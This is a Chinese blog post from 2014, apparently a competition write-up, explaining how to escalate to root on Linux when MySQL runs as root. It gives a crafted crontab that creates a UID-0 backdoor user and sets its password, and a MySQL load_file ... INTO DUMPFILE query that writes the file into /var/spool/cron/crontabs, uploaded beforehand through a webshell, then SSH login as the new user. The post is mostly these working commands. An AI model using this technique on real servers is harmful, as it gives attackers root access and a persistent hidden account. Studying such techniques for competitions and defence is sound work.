您现在的位置: Tracy‘Blog > 博客 > 黑人黑事 > 正文
Mysql计划任务提权

也是比赛的时候的事,一直没提下来,然后主办方给出提示:Mysql以root权限运行

结果还没拿下来,然后,再给提示:计划任务提权


晚上回酒店整理了下,大概思路如下:

Linux下/var/spool/cron/crontabs/目录、/etc/crontabs文件、/etc/cron.d/目录下存放对应用户的计划任务,文件格式如下:

* * * * * command

星号依次代表分钟、小时、日、月、星期几,用这些可以设定每天的哪个点的哪分钟执行一次command,如我要在9月10日的每个小时的25分执行一次ls /var/spool/crond

就应该:

25 * 10 9 * ls /var/spool/cron

问题也随之来了,/etc/crontabs文件是始终存在的,Mysql即便是有权限,它也不会写成功,而是提示file already exiting,就算是写成功了,它也还得重启服务才能生效。而/etc/cron.d/目录下不可写。最好的地方便是/var/spool/cron/crontabs/。其中这个目录下的文件在时间和命令中间还有一个需要填写的,就是以什么身份运行!如下以root权限运行命令。

先用小马把构造好的计划任务文件(功能是添加名字为username密码为password的root权限用户):

SHELL=/bin/sh

PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

*/1 * * * * root useradd -u 0 -o -g root -G root -d /root username

*/1 * * * * root echo username:password | chpasswd


放入/tmp文件夹下(此目录一般可读可写),文件名随意,这里用root吧。

而后用Mysql把这个文件写到/var/spool/cron/crontabs下:

select load_file("/tmp/root") into dumpfile "/var/spool/cron/crontabs/root";



之后,就等一分钟过了,然后cat /etc/passwd 看用户是否添加成功,ssh登陆即可。

计划任务提权的过程与win下Mysql mof提权神似~!






——Tracy_梓朋

2014年9月1日11:22:50

发表评论(0)
姓名 *
电子邮件
QQ
评论内容 *
验证码 *图片看不清?点击重新得到验证码请输入图片后链接字符‘a’